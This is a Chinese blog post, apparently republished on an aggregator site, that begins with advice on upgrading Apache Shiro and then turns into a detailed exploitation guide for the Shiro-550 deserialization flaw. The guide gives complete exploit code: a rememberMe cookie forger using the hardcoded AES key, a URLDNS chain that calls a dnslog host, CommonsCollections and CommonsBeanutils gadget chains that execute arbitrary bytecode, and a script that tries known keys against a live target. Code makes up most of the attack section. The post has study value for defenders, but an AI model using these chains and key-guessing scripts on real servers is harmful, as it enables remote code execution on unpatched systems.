shiro低版本的漏洞通过升级shiro版本解决

Posted 无敌的黑星星

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了shiro低版本的漏洞通过升级shiro版本解决相关的知识,希望对你有一定的参考价值。

将低版本升级到高版本1.7.0---->1.9.1
攻击者大量使用了shiro漏洞的攻击,为了找到这些最新的包,花费了一天时间来查找,终于在一位网友的提示下找到了它们的窝:(CSDN中的好多用户都是上传到博客中,但一下载就收费,感觉很不好)

下载地址:(Maven库)

https://mvnrepository.com/artifact/org.apache.shiro/shiro-core

关于应该升级哪些东西,经过测试有以下内容:(以升级到1.7版本为例)

shiro-core-1.7.0.jar

shiro-web-1.7.0.jar

shiro-ehcache-1.7.0.jar

由于版本升级附带了一些其它功能,还需要以下两个jar包:(都可以从上面的库中查找到)

commons-beanutils-1.9.4.jar

encoder-1.2.2.jar

出现的问题:shiro1.3升级1.7遇到重定向登录页面时报400错误
因为项目单点登录的需求,对原项目进行单点登录改造,对shiro 进行升级,由原1.3升级至1.7,原代码未做任何改动,登录重定向报400,但直接访问登录页正常,两者差异在于url增加自带参数jsessionid,导致400,改配置文件即可,代码如下:

	<bean id="sessionManager" class="org.apache.shiro.web.session.mgt.DefaultWebSessionManager">
		<property name="sessionIdUrlRewritingEnabled" value="false" /><!--这个参数,默认为true,改为false-->
		<property name="globalSessionTimeout" value="1800000" />	
	</bean>
	
	<!-- securityManager安全管理器 -->  
    <bean id="securityManager" class="org.apache.shiro.web.mgt.DefaultWebSecurityManager">  
		<property name="realm" ref="userAuthorizingRealm" />
        <property name="sessionManager" ref="sessionManager" />
    </bean> 

shiro-550反序列化漏洞分析

0x00 环境搭建

  • 首先下载有漏洞的版本

https://codeload.github.com/apache/shiro/zip/refs/tags/shiro-root-1.2.4

  • 配置 samples/web的pom文件

  • 配置tomcat

配置完成后点击debug调试,出现这个界面

0x01 利用版本

shiro≤1.2.4

0x02 漏洞原理

shiro默认使用了CookieRememberMeManager,其处理cookie的流程是:

得到rememberMe的cookie值 --> Base64解码 --> AES解密 --> 反序列化

然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

payload 构造的顺序则就是相对的反着来:

恶意命令-->序列化-->AES加密-->base64编码-->发送cookie

在整个漏洞利用过程中,比较重要的是AES加密的密钥,该秘钥默认是默认硬编码的,所以如果没有修改默认的密钥,就自己可以生成恶意构造的cookie了。

shiro特征:

未登陆的情况下,请求包的cookie中没有rememberMe字段,返回包set-Cookie里也没有deleteMe字段

登陆失败的话,不管勾选RememberMe字段没有,返回包都会有rememberMe=deleteMe字段

不勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段。但是之后的所有请求中Cookie都不会有rememberMe字段

勾选RememberMe字段,登陆成功的话,返回包set-Cookie会有rememberMe=deleteMe字段,还会有rememberMe字段,之后的所有请求中Cookie都会有rememberMe字段

0x03 漏洞复现

登陆的时候勾选Remember Me选项,此时返回包会返回一个RememberMe

刷新再抓包,去除掉cookie中的JSESSIONID,因为有了这个之后就通过sessionid识别用户,无法触发rememberme里面的反序列化。然后替换rememberMe为构造好的payload,重发就行了

0x04 漏洞分析

加密分析

入口是在 AbstractRememberMeManager.onSuccessfulLogin方法

if验证完token之后进入到rememberIdentity函数

这里吧subject和authcInfo传入getIdentityToRemember,跟进一下

这里再跟进后没看懂 反正一系列操作下来返回的就是用户名,所以principals就是用户名了 那么返回到rememberIdentity函数

这里调用了一个convertPrincipalsToBytes 大致意思就是把用户名序列化,跟进看一下

看一下发现这里有一个加密的过程,这里debug出是AES-CBC模式,然后确实读代码也能发现这个是固定的

这里就是serialize了principals(用户名),然后跟进一下rememberSerializedIdentity,发现是base64了一下然后保存了

所以流程就是Serialize+AES+base64存储到cookie里面然后返回

解密分析

我们从getRememberedIdentity开始分析,文件位置 org/apache/shiro/mgt/DefaultSecurityManager.java

这里return一个getRememberedPrincipals跟进一下

继续跟进getRememberedSerializedIdentity

简单分析一下就是获取Cookie中的rememberMe的值,然后判断是否是deleteMe,不是则判断是否是符合base64的编码长度,然后再对其进行base64解码,将解码结果返回。

所以我们返回 getRememberedPrincipals 然后跟进到下一步的convertBytesToPrincipals

这里进行了解密和反序列化的操作,看一下deserialize

继续跟进

果然 这里进行了相应对应的readObject(),所以解密的流程也就有了:获取cookie判断是不是deleteMe,然后base解码,对结果进行aes解密后再反序列化

URLDNS链

加密脚本,实现读取ser.bin,进行aes→base64

import uuid
import base64
from Crypto.Cipher import AES
def get_file_data(filename):
    with open(filename,\'rb\') as f:
        return f.read()

def encode_rememberme():
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(get_file_data("serz.bin"))
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == \'__main__\':
    payload = encode_rememberme()
    print("rememberMe=0".format(payload.decode()))

urldns链子生成

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class urldns 

    public static void main(String[] args) throws Exception

        HashMap h=new HashMap();
        URL url=new URL("http://urldns33.kgtism.dnslog.cn");
        Class cls=Class.forName("java.net.URL");
        setFieldValue(url,"hashCode",1);//为了防止在serialize的时候就产生了url请求
        h.put(url,1);
        setFieldValue(url,"hashCode",-1);

//    ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("seri.bin"));
//    oos.writeObject(h);
    serialize(h);

//        ByteArrayOutputStream b = new ByteArrayOutputStream();
//        ObjectOutputStream oos = new ObjectOutputStream(b);
//        oos.writeObject(h);
//        byte[] Bytes = b.toByteArray();
//        Base64.Encoder encoder = Base64.getEncoder();
//        String base64 = encoder.encodeToString(Bytes);
//        System.out.println(base64);
    

    public static void serialize(Object obj) throws IOException 
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serz.bin"));
        oos.writeObject(obj);
    
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    

先生成urldns链子 然后运行py脚本得到

这里我们用的是dnslog生成一个url,然后抓包,记得去掉sessionid

最后得到结果,成功执行

cc6+TemplatesImpl

这里用一个插件可以分析maven的依赖,我们知道maven在编译和运行的时候只会把complie打进包里面,而test是不会打进来的,所以理论上来说用cc的打shiro是大不了的,只能打cb

这里我们本地测试的话先加上一个cc的依赖

有了依赖 理论上来说我们就可以用cc链子来打,那么我们直接用cc6试一下

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc6poc
    public static void main(String[] args) throws Exception 
        Transformer[] fakeTransformers = new Transformer[] new
                ConstantTransformer(1);
        Transformer[] transformers = new Transformer[] 
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] String.class, Class[].class , new Object[]  "getRuntime", new Class[0] ),
                new InvokerTransformer("invoke", new Class[] Object.class, Object[].class , new Object[]  null, new Object[0] ),
                new InvokerTransformer("exec", new Class[]  String.class, new String[]  "calc.exe" ),
                new ConstantTransformer(1),
        ;

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        // 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
//        outerMap.remove("keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");

        setFieldValue(transformerChain,"iTransformers",transformers);
        // ==================
        // ⽣成序列化字符串
        serialize(expMap);
//        unserialize("ser.bin");
    
    public static void serialize(Object obj) throws IOException 
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serz.bin"));
        oos.writeObject(obj);
    

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    

打完之后发现并没有弹出计算器,也就是并没有成功执行命令,我们本地看一下服务器报错

许多的报错大致说的就是没法加载transformer数组里面的所有东西

这里再查看报错信息倒数第一行,也就是这个类:org.apache.shiro.io.ClassResolvingObjectInputStream。可以看到,这是一个ObjectInputStream的子类,重写了resolveClass()方法:

resolveClass 是反序列化中用来查找类的方法,简单来说,读取序列化流的时候,读到一个字符串形式的类名,需要通过这个方法来找到对应的 java.lang.Class 对象。

对比一下它的父类,也就是正常的 ObjectInputStream 类中的 resolveClass() 方法:

区别就是前者用的是 org.apache.shiro.util.ClassUtils#forName
 (实际上内部用到了 org.apache.catalina.loader.ParallelWebappClassLoader#loadClass
 ),而后者用的是Java原生的 Class.forName

我们可以在捕获异常的位置下个断点,判断一下是哪个类触发了异常

这里可能cc6构造的不太一样?最后我调试出来的结果不一样

这里仅给出最后的结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。
这就解释了为什么CommonsCollections6无法利用了,因为其中用到了Transformer数组。

  • 这里留一个坑点,回头补上。

承接刚才的结论吧,我们无法使用Transformer数组,但是并不是无法继续搞了,我们回顾一下cc链调用图:

理论上来说只要最后走Runtime.exec()的话,都需要用到transformer数组的 因为我们需要一个数组放进chaintransformer里面构成循环调用,还需要一个constanttransformer进行初始化我们的第一个参,这里我们发现cc2和cc4是不需要用到transformer数组的 ,但是依赖的都是commons collections4的包,当前环境是没法利用的。

所以我们可以尝试修改cc6,大致思路是cc6里面有个TideMapEntry可以传入一个key,key就可以作为触发transform方法时候的传参,此时不需要constanttransformer 自然也可以避开chainedtransformer,命令执行我们利用TemplateSimple就行

看一下TiedMapEntry:

当这个map是LazyMap的时候,get就是触发transform的关键,此时的key就作为了一个参数

之前我们对于LazyMap#get参数不关心,因为通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化恶意对象。但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇的发现,这个 LazyMap#get 的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。我们LazyMap.get(key)直接调用InvokerTransfomer.transform(key)
,然后像CC2那样调用TempalteImpl.newTransformer()来完成后续调用。

利用链如图所示

首先还是创建TemplatesIml对象:(命令执行部分)

byte[] code = Files.readAllBytes(Paths.get("E:\\\\java\\\\cc1\\\\target\\\\classes\\\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] code);
        setFieldValue(obj, "_name", "calc");

然后创建一个用来newTransformer()方法的InvokerTransformer

InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[], new Object[]);

然后再cc6的前半段拿过来

Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
        TiedMapEntry tme = new TiedMapEntry(outerMap,obj);
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove(obj);
        setFieldValue(outerMap,"factory",newTransformer);

最终EXP:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class shiro_cc 
    public static void main(String[] args) throws Exception 
        byte[] code = Files.readAllBytes(Paths.get("E:\\\\java\\\\cc1\\\\target\\\\classes\\\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] code);
        setFieldValue(obj, "_name", "calc");
        InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[], new Object[]);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
        TiedMapEntry tme = new TiedMapEntry(outerMap,obj);
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove(obj);
        setFieldValue(outerMap,"factory",newTransformer);
            serialize(expMap);
            unserialize("szzz.bin");

    

    public static void serialize(Object obj) throws IOException 
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("szzz.bin"));
        oos.writeObject(obj);
    

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    

最后成功命令执行了

cc6+instantiateTransformer

这里的话还有个链子就是cc6+instantiateTransformer后续部分

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class shiro_cc2 
    public static void main(String[] args) throws Exception 
        byte[] code = Files.readAllBytes(Paths.get("E:\\\\java\\\\cc1\\\\target\\\\classes\\\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] code);
        setFieldValue(obj, "_name", "calc");
//        InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[], new Object[]);
        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]Templates.class, new Object[]obj);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));
        TiedMapEntry tme = new TiedMapEntry(outerMap, TrAXFilter.class);
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove(TrAXFilter.class);
        setFieldValue(outerMap,"factory",instantiateTransformer);
        serialize(expMap);
        unserialize("szzz.bin");

    

    public static void serialize(Object obj) throws IOException 
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("szzz.bin"));
        oos.writeObject(obj);
    

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    

也是可以成功命令执行:

Commons-Beanutils1链

如上介绍的两种方式都是依赖于Commmons Collections,但是原生的shiro是没有cc的,所以我们就只能用shiro原生的类进行代码执行,也就用到了之前我们分析依赖的时候用到的一个Commons Beanutils,这里用到了Javabean

举个例子:

import org.apache.commons.beanutils.PropertyUtils;
 
import java.lang.reflect.InvocationTargetException;
 
public class Bean 
    private String name = "cc";
    public String getName() 
        return name;
    
    public void setName(String name) 
        this.name = name;
    
 
    public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException 
        System.out.println(PropertyUtils.getProperty(new Bean(),"name"));
        System.out.println("cc");
    

demo包含一个私有属性name,和读取和设置这个属性的两个方法,又称为getter和setter。其中,getter的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法(Camel-Case)。

在commons-beanutils中提供了静态方法PropertyUtils.getProperty,通过调用这个静态方法,可以直接调用任意JavaBean中的getter方法。

我们可以通过这个方法对bean里面的get和set方法进行调用

此时,commons-beanutils会自动找到name属性的getter方法,也就是getName ,然后调用,获得返回值。

所以我们就要想办法利用PropertyUtils.getProperty()方法构造我们的利用链,回顾一下cc联众没有用到CommonsCollection包的部分

如上我们可以知道只有红框部分没用到,也就是说我们命令执行的方法只能选择TemplatesImpl实现类加载任意代码执行,所以我们需要找哪里可以调用TemplatesImpl.newTransformer()方法,通过find usages我们找到了TemplatesImpl.getOutputProperties()

这个方法里面调用了newTransformer(),而 getOutputProperties 这个名字,是以 get 开头,正符合getter的定义。所以, PropertyUtils.getProperty( obj, property ) 这段代码,当obj是一个 TemplatesImpl 对象,而 property 的值为 outputProperties 时,将会自动调用getter,也就是 TemplatesImpl.getOutputProperties() 方法,触发代码执行。

所以这里找哪里可以调用PropertyUtils.getProperty(),这里的话找到是commons-beanutils包中 org.apache.commons.beanutils.BeanComparatorcompare()方法:

传入两个对象,如果this.property为空,直接比较这两个对象;如果不为空,贼getProperty来分取两个对象的this.property属性, 然后比较属性的值

cc链里2和4都用到了compare(),所以我们只要把CC4中本来传进去优先队列PriorityQueue中的transformingComparator对象换成这里的BeanComparator对象,那么这条链就能够完整地接上了

写EXP:

  • 创建TemplateImpl:
byte[] code = Files.readAllBytes(Paths.get("E:\\\\java\\\\cc1\\\\target\\\\classes\\\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] code);
        setFieldValue(obj, "_name", "calc");
  • 实例化BeanComparator,当BeanComparator构造函数为空时,默认的Property就是空

final BeanComparator comparator = new BeanComparator();
  • 然后用这个comparator实例化优先队列 PriorityQueue
PriorityQueue priorityQueue = new PriorityQueue<>(comparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

我们添加了两个无害的可以比较的对象进队列中。BeanComparator.compare()
 中,如果 this.property为空,则直接比较这两个对象。这里实际上就是对两个 1
 进行排序。初始化时使用正经对象,且 property 为空,这一系列操作是为了初始化的时候不要出错。

  • 然后,我们再用反射将 property的值设置成恶意的 outputProperties,将队列里的两个1替换成恶意的 TemplateImpl对象(也和cc2一样,至少得改第一个,具体细节参考cc2):
				setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]obj, obj);

最终EXP:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.beanutils.BeanComparator;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CB 
    public static void main(String[] args) throws Exception 
        byte[] code = Files.readAllBytes(Paths.get("E:\\\\java\\\\cc1\\\\target\\\\classes\\\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] code);
        setFieldValue(obj, "_name", "calc");

        final BeanComparator comparator = new BeanComparator();

        PriorityQueue priorityQueue = new PriorityQueue<>(comparator);
        priorityQueue.add(1);
        priorityQueue.add(2);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(priorityQueue, "queue", new Object[]obj, obj);

        serialize(priorityQueue);
    unserialize("serzsd.bin");

    
    public static void serialize(Object obj) throws IOException 
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serzsd.bin"));
        oos.writeObject(obj);
    

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    

最后成功命令执行

(我的小疑问 这里看组长的视频是打不通的 不知道是什么原因,试了很多payload构造都是能打通)

0x06 漏洞探测

指纹识别

在利用shiro漏洞时需要判断应用是否用到了shiro。在请求包的Cookie中为 rememberMe字段赋任意值,收到返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段,说明目标有使用Shiro框架,可以进一步测试。

AES密钥判断

前面说到 Shiro 1.2.4以上版本官方移除了代码中的默认密钥,要求开发者自己设 置,如果开发者没有设置,则默认动态生成,降低了固定密钥泄漏的风险。 但是即使升级到了1.2.4以上的版本,很多开源的项目会自己设定密钥。可以收集密钥的集合,或者对密钥进行爆破。

那么如何判断密钥是否正确呢?文章一种另类的 shiro 检测方式提供了思路,当密钥不正确或类型转换异常时,目标Response包含Set-Cookie:rememberMe=deleteMe字段,而当密钥正确且没有类型转换异常时,返回包不存在Set-Cookie:rememberMe=deleteMe字段。

因此我们需要构造payload排除类型转换错误,进而准确判断密钥。

shiro在1.4.2版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来,所以整个AES加解密过程的key就很重要了,正是因为AES使用Key泄漏导致反序列化的cookie可控,从而引发反序列化漏洞。在1.4.2版本后,shiro已经更换加密模式 AES-CBC为 AES-GCM,脚本编写时需要考虑加密模式变化的情况。

大佬Veraxy写的脚本:

import base64
import uuid
import requests
from Crypto.Cipher import AES
 
def encrypt_AES_GCM(msg, secretKey):
    aesCipher = AES.new(secretKey, AES.MODE_GCM)
    ciphertext, authTag = aesCipher.encrypt_and_digest(msg)
    return (ciphertext, aesCipher.nonce, authTag)
 
def encode_rememberme(target):
    keys = [\'kPH+bIxk5D2deZiIxcaaaA==\', \'4AvVhmFLUs0KTA3Kprsdag==\',\'66v1O8keKNV3TTcGPK1wzg==\', \'SDKOLKn2J1j/2BHjeZwAoQ==\']     # 此处简单列举几个密钥
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    mode = AES.MODE_CBC
    iv = uuid.uuid4().bytes
 d
    file_body = base64.b64decode(\'rO0ABXNyADJvcmcuYXBhY2hlLnNoaXJvLnN1YmplY3QuU2ltcGxlUHJpbmNpcGFsQ29sbGVjdGlvbqh/WCXGowhKAwABTAAPcmVhbG1QcmluY2lwYWxzdAAPTGphdmEvdXRpbC9NYXA7eHBwdwEAeA==\')
    for key in keys:
        try:
            # CBC加密
            encryptor = AES.new(base64.b64decode(key), mode, iv)
            base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(file_body)))
            res = requests.get(target, cookies=\'rememberMe\': base64_ciphertext.decode(),timeout=3,verify=False, allow_redirects=False)
            if res.headers.get("Set-Cookie") == None:
                print("正确KEY :" + key)
                return key
            else:
                if \'rememberMe=deleteMe;\' not in res.headers.get("Set-Cookie"):
                    print("正确key:" + key)
                    return key
            # GCM加密
            encryptedMsg = encrypt_AES_GCM(file_body, base64.b64decode(key))
            base64_ciphertext = base64.b64encode(encryptedMsg[1] + encryptedMsg[0] + encryptedMsg[2])
            res = requests.get(target, cookies=\'rememberMe\': base64_ciphertext.decode(), timeout=3, verify=False, allow_redirects=False)
 
            if res.headers.get("Set-Cookie") == None:
                print("正确KEY:" + key)
                return key
            else:
                if \'rememberMe=deleteMe;\' not in res.headers.get("Set-Cookie"):
                    print("正确key:" + key)
                    return key
            print("正确key:" + key)
            return key
        except Exception as e:
            print(e)

简单测试:d

0x07 注意事项

  • shiro版本问题

直接ysoserial里面的CB链子是打不通的,原因是ysoserial里面用CB链子依赖的版本是1.9.2

而shiro自带的为1.8.3

服务端会显示报错:

org.apache.commons.beanutils.BeanComparator; local class incompatible: stream classdesc serialVersionUID = -2044202215314119608, local class serialVersionUID = -3490850999041592962

如果两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID不同,则反序列化就会异常退出,避免后续的未知隐患。

  • 原生依赖问题

BeanComparator的这个构造函数默认调用ComparableComparator.getInstance();,也就是有个默认的Comparator

然而这个东西又是commons.collections里面的(因为他们的设计某种程度上来说就是重叠了),所以这里用到了它没有的依赖就会产生报错

解决方法就是我们可以指定一个comparator,构造的时候直接传入就行了

至于我们如何选择Comparator,需要满足以下几个条件

  • 实现 java.util.Comparator 接口
  • 实现 java.io.Serializable 接口
  • Java、shiro或commons-beanutils自带,且兼容性强

接口,都找出来然后写个取交集的脚本

  • find.py
with open("com.txt") as f:
    data=f.readlines()

with open("ser.txt") as f2:
    data2=f2.readlines()

print(*[i for i in data if i in data2])

最后发现这个就可以

EXP:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xml.internal.security.c14n.helper.AttrCompare;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cb2 
    public static void main(String[] args) throws Exception 
        byte[] code = Files.readAllBytes(Paths.get("E:\\\\java\\\\cc1\\\\target\\\\classes\\\\exec.class"));
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] code);
        setFieldValue(obj, "_name", "calc");

        BeanComparator comparator = new BeanComparator("outputProperties",new AttrCompare());
        TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
        priorityQueue.add(obj);
        priorityQueue.add(2);

        setFieldValue(priorityQueue,"comparator",comparator);
//        setFieldValue(comparator, "property", "outputProperties");
//        setFieldValue(priorityQueue, "queue", new Object[]obj, obj);

        serialize(priorityQueue);
        unserialize("serzsd.bin");

    
    public static void serialize(Object obj) throws IOException 
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serz.bin"));
        oos.writeObject(obj);
    

    //反序列化数据
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    

参考资料:

以上是关于shiro低版本的漏洞通过升级shiro版本解决的主要内容,如果未能解决你的问题,请参考以下文章

Shiro又爆高危漏洞,Apache Shiro身份验证绕过漏洞安全风险通告

漏洞修复通知修复Apache Shiro认证绕过漏洞

漏洞修复通知修复Apache Shiro认证绕过漏洞

shiro-550反序列化漏洞分析

Apache Shiro 反序列化RCE漏洞

Shiro反序列化漏洞